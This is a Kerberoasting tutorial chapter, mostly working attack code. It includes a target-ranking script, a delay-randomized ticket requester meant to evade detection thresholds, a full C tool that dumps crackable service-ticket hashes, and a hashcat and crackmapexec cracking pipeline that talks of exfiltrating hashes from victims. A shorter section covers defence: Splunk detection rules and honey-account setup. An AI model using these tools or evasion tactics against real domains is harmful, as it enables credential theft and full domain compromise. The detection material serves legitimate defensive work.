Kerberoasting at Scale
Enterprise-scale SPN enumeration with target prioritization, OPSEC-safe request timing, full C implementation, cracking pipeline automation, and detection engineering perspective
You're in a 40,000-user enterprise. LDAP enumeration returned 312 accounts with SPNs. Most are machine accounts (useless), some are SQL service accounts, several are application service accounts with weak passwords set in 2016, and three are members of Domain Admins (this organization set up their service accounts wrong). You need to prioritize the 312 down to 20 high-value targets, extract their tickets with enough delay to avoid threshold-based detections, and feed the hashes through a cracking pipeline. One cracked DA service account is full domain compromise. This chapter covers the enterprise-scale workflow.
Target Prioritization Algorithm
#!/usr/bin/env python3
# Kerberoast target prioritizer — score and rank SPN accounts from LDAP data
import json, ldap3, sys
def score_account(entry):
score = 0
attrs = entry['attributes']
sam = attrs.get('sAMAccountName', '')
spns = attrs.get('servicePrincipalName', [])
uac = attrs.get('userAccountControl', 0)
ac = attrs.get('adminCount', 0)
pwdls = attrs.get('pwdLastSet', None)
enc = attrs.get('msDS-SupportedEncryptionTypes', 0)
groups = [g.lower() for g in attrs.get('memberOf', [])]
# Skip machine accounts
if sam.endswith('$'): return -999
if ac == 1: score += 10
if any('domain admins' in g or 'enterprise admins' in g for g in groups):
score += 10
if any('account operators' in g or 'backup operators' in g for g in groups):
score += 8
# SPN type scoring
spn_str = ' '.join(spns).lower()
if 'mssql' in spn_str or 'sqlsvc' in spn_str: score += 6
if 'exchange' in spn_str or 'sharepoint' in spn_str: score += 5
# Password age (older = more likely weak / never rotated)
import datetime
if pwdls:
# pwdLastSet is Windows FILETIME (100-ns intervals since 1601)
age_days = (datetime.datetime.now() - (datetime.datetime(1601,1,1) +
datetime.timedelta(microseconds=pwdls//10))
).days
if age_days > 1095: score += 4 # > 3 years
elif age_days > 365: score += 2 # > 1 year
# Password never expires
if uac & 0x10000: score += 3
# RC4 allowed (faster cracking)
# enc = 0 means default (RC4 + AES); enc & 0x04 = RC4
if enc == 0 or (enc & 0x04): score += 2
return score
# Usage:
# accounts = [ {...ldap entries...} ]
# ranked = sorted(accounts, key=score_account, reverse=True)
# Request TGS tickets in ranked order, crack as they arrive
OPSEC-Safe Request Timing
Threshold-based detections look for bulk 4769 events from a single source. Spacing requests reduces this signal. The goal is to stay under the threshold during the highest-value targets:
#!/usr/bin/env python3
# OPSEC-aware Kerberoast requester
import time, random, sys
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
def kerberoast_opsec(targets, domain, dc_ip, delay_min=2, delay_max=8):
"""
Request TGS tickets with randomized delays.
delay_min/max in seconds between requests.
High-value (score > 15): request immediately, no wait.
Medium (score 8-15): 2-8 second delay.
Low (score < 8): 10-30 second delay.
"""
# Get TGT first (one authentication event)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=principal(username, ...),
password=password, domain=domain, ...)
hashes = []
for target in targets:
score = target['score']
spn = target['spn']
sam = target['sam']
print(f"[*] Requesting TGS for {sam} ({spn}) score={score}")
try:
serverName = principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher2, oldSessionKey2, sessionKey2 = getKerberosTGS(
serverName, domain, dc_ip, tgt, cipher, sessionKey)
hashes.append(format_hash(tgs, sam, domain, spn))
print(f"[+] Got TGS for {sam}")
except Exception as e:
print(f"[-] Failed {sam}: {e}")
# Delay based on priority — high-value targets get less delay
if score >= 15:
delay = 0 # no delay for top targets
elif score >= 8:
delay = random.uniform(delay_min, delay_max)
else:
delay = random.uniform(10, 30)
if delay > 0:
print(f" sleeping {delay:.1f}s...")
time.sleep(delay)
return hashes
Full C Implementation — Complete Kerberoast Tool
// Complete kerberoast.c — LDAP enum + TGS request + hash output
#include <windows.h>
#include <winldap.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "wldap32.lib secur32.lib")
#define KERB_RETRIEVE_ENCODED_TICKET_MESSAGE 8
#define MAX_ACCOUNTS 1024
typedef struct { WCHAR sam[256]; WCHAR spn[512]; } SPN_ENTRY;
static ULONG gAuthPkg;
static HANDLE gLsaHandle;
BOOL InitLSA() {
LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
(USHORT)strlen(MICROSOFT_KERBEROS_NAME_A)+1,
MICROSOFT_KERBEROS_NAME_A };
if (LsaConnectUntrusted(&gLsaHandle) != 0) return FALSE;
return LsaLookupAuthenticationPackage(gLsaHandle, &pkg, &gAuthPkg) == 0;
}
BOOL RequestAndPrintHash(const WCHAR *sam, const WCHAR *spn, const WCHAR *realm) {
DWORD nameLen = (DWORD)(wcslen(spn) * sizeof(WCHAR));
DWORD reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + nameLen + sizeof(WCHAR);
KERB_RETRIEVE_TKT_REQUEST *req = (KERB_RETRIEVE_TKT_REQUEST*)calloc(1, reqSize);
req->MessageType = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_RETRIEVE_ENCODED_TICKET_MESSAGE;
req->CacheOptions = 8;
req->EncryptionType = 23; // RC4
WCHAR *nb = (WCHAR*)((BYTE*)req + sizeof(*req));
wcscpy_s(nb, nameLen / sizeof(WCHAR) + 1, spn);
req->TargetName.Buffer = nb;
req->TargetName.Length = (USHORT)nameLen;
req->TargetName.MaximumLength = (USHORT)(nameLen + sizeof(WCHAR));
KERB_RETRIEVE_TKT_RESPONSE *resp = NULL;
ULONG respLen = 0;
NTSTATUS sub;
NTSTATUS st = LsaCallAuthenticationPackage(
gLsaHandle, gAuthPkg, req, reqSize, (PVOID*)&resp, &respLen, &sub);
free(req);
if (st != 0 || sub != 0) {
printf("[-] TGS request failed for %S: 0x%08X\n", sam, sub);
return FALSE;
}
BYTE *enc = resp->Ticket.EncodedTicket;
ULONG len = resp->Ticket.EncodedTicketSize;
// Print hashcat-ready format: $krb5tgs$23$*user$realm$spn*$checksum$ciphertext
printf("$krb5tgs$23$*%S$%S$%S*$", sam, realm, spn);
for (ULONG i = 0; i < 16 && i < len; i++) printf("%02x", enc[i]);
printf("$");
for (ULONG i = 16; i < len; i++) printf("%02x", enc[i]);
printf("\n");
LsaFreeReturnBuffer(resp);
return TRUE;
}
int wmain() {
if (!InitLSA()) { puts("[-] LSA init failed"); return 1; }
LDAP *ld = ldap_init(NULL, LDAP_PORT);
ULONG v = LDAP_VERSION3;
ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &v);
ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
WCHAR *rootAttrs[] = { L"defaultNamingContext", NULL };
LDAPMessage *r = NULL;
ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(objectClass=*)", rootAttrs, 0, &r);
WCHAR **dcVals = ldap_get_values(ld, ldap_first_entry(ld,r), L"defaultNamingContext");
WCHAR baseDN[512]; WCHAR realm[256];
wcscpy_s(baseDN, 512, dcVals[0]);
// Convert DC=corp,DC=local → CORP.LOCAL for realm
wcscpy_s(realm, 256, dcVals[0]); // simplified — do real parsing in prod
ldap_value_free(dcVals); ldap_msgfree(r);
WCHAR *attrs[] = { L"sAMAccountName", L"servicePrincipalName", NULL };
LDAPMessage *res = NULL;
ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
L"(&(objectClass=user)(servicePrincipalName=*)(!samAccountType=805306370))",
attrs, 0, &res);
DWORD count = (DWORD)ldap_count_entries(ld, res);
printf("[*] Found %lu SPN accounts\n", count);
LDAPMessage *e = ldap_first_entry(ld, res);
while (e) {
WCHAR **sam = ldap_get_values(ld, e, L"sAMAccountName");
WCHAR **spns = ldap_get_values(ld, e, L"servicePrincipalName");
if (sam && spns) {
RequestAndPrintHash(sam[0], spns[0], realm);
Sleep(2000); // 2 second delay between requests — OPSEC
}
if (sam) ldap_value_free(sam);
if (spns) ldap_value_free(spns);
e = ldap_next_entry(ld, e);
}
ldap_msgfree(res);
ldap_unbind(ld);
LsaClose(gLsaHandle);
return 0;
}
Cracking Pipeline Automation
#!/bin/bash
# Full kerberoasting pipeline: enum → crack → validate
# 1. Enumerate and save hashes (run kerberoast.exe on victim, exfil hashes)
kerberoast.exe > kerberoast_hashes.txt
# 2. Sort by priority — high-value accounts first (done before requesting)
# 3. Crack with progressive wordlist + rules
# Phase 1: simple wordlist (fast, catches common passwords)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--potfile-path kerberoast.pot -O
# Phase 2: wordlist + rules (catches passwords with common modifications)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
-r /usr/share/hashcat/rules/d3ad0ne.rule \
--potfile-path kerberoast.pot -O
# Phase 3: corporate wordlist (company name + year + special)
# Build company-specific wordlist: company name, product names, city name, etc.
hashcat -m 13100 kerberoast_hashes.txt corporate_words.txt \
-r /usr/share/hashcat/rules/best64.rule \
--potfile-path kerberoast.pot
# Phase 4: masks for service account patterns
# Pattern: ServiceName!YearNum (e.g., "SqlSvc2019!", "Backup2021@")
hashcat -m 13100 kerberoast_hashes.txt -a 3 '?u?l?l?l?l?l?l?d?d?d?d!' \
--potfile-path kerberoast.pot
# 4. Check results
hashcat -m 13100 kerberoast_hashes.txt --potfile-path kerberoast.pot --show
# 5. Validate cracked credentials
# For each cracked account, verify with a non-alerting check:
crackmapexec smb dc01.corp.local -u sqlsvc -p 'CrackedPassword!'
# 0x000006d7 = WRONG_PASSWORD, 0x00000000 = success
gMSA — Why It's (Nearly) Impossible to Roast
| Account Type | Password | Kerberoastable? | Notes |
|---|---|---|---|
| Traditional service account | Set once by admin, never rotated | Yes — easily crackable with common patterns | Most common; most vulnerable |
| gMSA (Group Managed Service Account) | 240-character random, auto-rotated every 30 days | Yes — but 240-char random password is computationally infeasible to crack | Microsoft's recommended solution |
| Virtual account (NT Service\name) | Machine identity, no password | No SPN on domain account — no TGS to request | Local-only services; no domain auth |
| Machine account | Random 120-char, auto-rotated every 30 days | Technically yes but infeasible to crack | Not targeted by standard Kerberoasting |
Detection Engineering — Writing the Rules
From a defender's perspective, the Kerberoasting detection challenge is distinguishing legitimate TGS requests from bulk roasting. Key signals:
-- Splunk: Detect bulk RC4 TGS requests (Kerberoasting)
index=wineventlog EventCode=4769 TicketEncryptionType=0x17
| where ServiceName != "krbtgt" AND NOT ServiceName LIKE "%$"
| stats count by src_ip, user
| where count > 5
| sort -count
-- Detect single RC4 TGS for high-value service account (any count)
index=wineventlog EventCode=4769 TicketEncryptionType=0x17
| lookup privileged_spn_accounts ServiceName OUTPUTNEW priority
| where priority >= 8
| table _time, src_ip, user, ServiceName, priority
-- Detect honey-account TGS request (zero-FP signal)
index=wineventlog EventCode=4769
| where ServiceName = "honeysvc@CORP.LOCAL"
| alert immediately
Honey account setup:
1. Create a domain user account named "honeysvc" or "sqlreplication"
2. Assign a fake SPN: Set-ADUser honeysvc -ServicePrincipalNames @{Add="MSSQLSvc/fake-db:1433"}
3. Give it a description that sounds appealing: "SQL Replication Service Account"
4. adminCount = 1 (via AdminSDHolder) to make it look privileged
5. ANY 4769 for this SPN is a high-confidence Kerberoasting signal
Q&A
What makes a good cracking wordlist specific to service accounts?
Standard consumer wordlists (rockyou.txt) work well for user account passwords because users choose personal words. Service account passwords follow different patterns because they're set by IT administrators following internal conventions, not personal preferences. Effective service account cracking wordlists include: the company name and variations (CompanyName, Company123!, CompanyAdmin); product or application names associated with the service (SqlServer, ExchangeSvc, SharePoint); year-based patterns (ServiceName + year set + special char: "SqlSvc2019!", "Backup2020@", "AppService2018#"); generic IT patterns ("Password1!", "Service!1", "Admin2019"); location names from company headquarters; ticket/issue tracking system names (legacy naming conventions). Build a targeted wordlist with CeWL (spider the company's website for word extraction), combine with year+special suffixes, and run it before the generic rockyou attack. In practice, this targeted wordlist (often under 100k words) cracks service accounts that rockyou+rules misses, because the pattern isn't in rockyou but follows a predictable company-specific convention.
What is Roast-in-the-Middle and how does it evade per-IP thresholds?
Standard Kerberoasting creates a volume anomaly: many 4769 events from one source IP in a short window. Roast-in-the-Middle (RITM) distributes the requests across multiple compromised hosts to evade per-IP thresholds. After compromising multiple workstations in an organization, you send each one a request to roast a subset of the target list — each workstation only generates 2-3 4769 events, far below the detection threshold. The attacker collects the hashes from all workstations and cracks offline. This distributes the OPSEC risk across the fleet. Detection countermeasure: use per-user source correlation instead of per-IP. If the same target SPN appears in 4769 events from five different source IPs in the same hour, even with low per-IP counts, that's a distributed Kerberoasting pattern. This is harder to implement in simple SIEM rules but straightforward in behavioral analytics platforms. Microsoft Defender for Identity implements distributed Kerberoasting detection using this cross-source correlation approach.